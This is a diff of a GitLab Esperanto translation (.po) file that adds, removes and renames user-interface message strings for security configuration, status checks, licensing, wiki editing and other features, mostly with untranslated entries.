msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr "Elektu celan branĉon"
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "La etapo de programado montras la tempon de la unua enmetado Äis la kreado de la peto pri kunfando. La datenoj aldoniÄos aÅ­tomate ĉi tie post kiam vi kreas la unuan peton pri kunfando."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "La aro da eventoj, kiuj estas aldonitaj al la datenoj kolektitaj por la etapo."
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "La etapo de la problemo montras kiom la tempo pasas de la kreado de problemo Äis la atribuado de la problemo al cela etapo de la projekto, aÅ­ al listo sur la problemtabulo. Komencu krei problemojn por vidi la datenojn por ĉi tiu etapo."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "La etapo de la disvolva ciklo."
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "La etapo de la plano montras la tempon de la antaÅ­a Åtupo Äis la alpuÅado de via unua enmetado. Ĉi tiu tempo aldoniÄos aÅ­tomate post kiam vi alpuÅas la unuan enmetadon."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "La etapo de la kontrolo montras la tempon de la kreado de la peto pri kunfando Äis Äia aplikado. La datenoj aldoniÄos aÅ­tomate post kiam vi aplikos la unuan peton pri kunfando."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,11 +32562,11 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "La etapo de preparo por eldono montras la tempon inter la aplikado de la peto pri kunfando kaj la disponigado de la kodo en la publika versio. La datenoj aldoniÄos aÅ­tomate post kiam vi faros la unuan disponigadon en la publika versio."
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "La etapo de testado montras kiom da tempo necesas al „GitLab CI“ por plenumi ĉiujn ĉenstablojn por la rilata peto pri kunfando. La datenoj aldoniÄos aÅ­tomate post kiam via unua ĉenstablo finiÄos."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "La tempo, kiu estas necesa por ĉiu dateno kolektita de la etapo."
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "La valoro, kiu troviÄas en la mezo de aro da rigardataj valoroj. Ekzemple: inter 3, 5 kaj 9, la mediano estas 5. Inter 3, 5, 7 kaj 8, la mediano estas (5+7)/2 = 6."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr "Nekonata"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
